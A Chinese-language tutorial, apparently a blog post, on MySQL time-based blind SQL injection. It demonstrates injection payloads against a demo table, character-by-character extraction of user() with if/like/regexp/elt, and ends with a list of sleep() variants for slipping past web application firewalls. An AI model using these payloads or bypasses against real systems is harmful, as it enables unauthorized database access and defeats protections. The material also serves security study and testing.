0x01 时间盲注


时间盲注是SQL注入的一种方式,其主要是通过服务端返回时长来判断注入点的存在,然后逐字符读取数据库内容,在Mysql中涉及两个函数:
sleep(2)和benchmark(10000000,sha(1))

0x02 注入点挖掘


表结构如下:

mysql> select * from vinc;
+------+-------+
| id   | name  |
+------+-------+
|    1 | James |
|    2 | Rose  |
+------+-------+
2 rows in set (0.00 sec)
mysql> select * from vinc where name = 'Rose' and sleep(2);
Empty set (2.00 sec)

可以看到执行时间是2S,这里范围结果为空是因为sleep()函数返回的是0

mysql> select sleep(2);
+----------+
| sleep(2) |
+----------+
|        0 |
+----------+

连接可以使用算术运算符、逻辑运算符、位运算符、比较运算符。
算术运算符:

select * from vinc where name = 'Rose' DIV sleep(2);

逻辑运算符:

select * from vinc where name = 'Rose' xor sleep(2);

位运算符:

select * from vinc where name = 'Rose'^sleep(2);

比较运算符:

select * from vinc where name = 'Rose'<=>sleep(2);

这里需要注意的是:
1. select时尽量不要用or和xor来测试,容易把服务搞挂。
2. 在insert、update的注入环境中,如下:

update vinc set name = {Inject} where id = 4;
insert into vinc values(4,{Inject});

如果是字符型使用and无法延迟

mysql> insert into vinc values(4,'Vincent' and sleep(2));
Query OK, 1 row affected, 1 warning (0.00 sec)
mysql> update vinc set name = 'Charles' and sleep(2) where id = 4;
Query OK, 0 rows affected, 1 warning (0.00 sec)

这里可以使用其他的连接符。

0x03 利用方式


因为是盲注所以通常是逐个字符读取,我们以读取user()为例:
IF(expr1,expr2,expr3)如果第一个表达式的值为TRUE(不为0或null),则返回第二个参数的值,否则返回第三个参数的值。

select * from vinc where name = 'Rose' and if(ord(mid(user(),1,1))>100,1,sleep(2));

使用like

mysql> select * from vinc where name = 'Rose' and if(substr(user()from(1)for(1)) like 0x72,sleep(2),1);
Empty set (2.00 sec)

使用rlike

mysql> select * from vinc where name = 'Rose' and if(substr(user()from(1)for(2)) rlike 0x726F,sleep(2),1);
Empty set (2.00 sec)

使用regexp

mysql> select * from vinc where name = 'Rose' and if(substr(user()from(1)for(1)) regexp 0x72,sleep(2),1);
Empty set (2.00 sec)

使用in

mysql> select * from vinc where name = 'Rose' and if(substr(user()from(1)for(1))in(0x72),sleep(2),1);
Empty set (2.00 sec)

ELT(n,str1,str2,str3,…) :如果n=1,则返回str1,如果n=2,则返回str2,依次类推。如果n小于1或大于参数个数,返回NULL。

mysql> select * from vinc where name = 'Rose' and elt(1=1,sleep(2),1);
Empty set (2.00 sec)

0x04 WAF绕过


可以通过分割sleep和(来绕过WAF的检测。

sleep%20()
sleep%09()
sleep%0a()
sleep%0b()
sleep%0c()
sleep%0d()
sleep%a0()
sleep/*security*/()
/*!sleep*/()
`sleep`()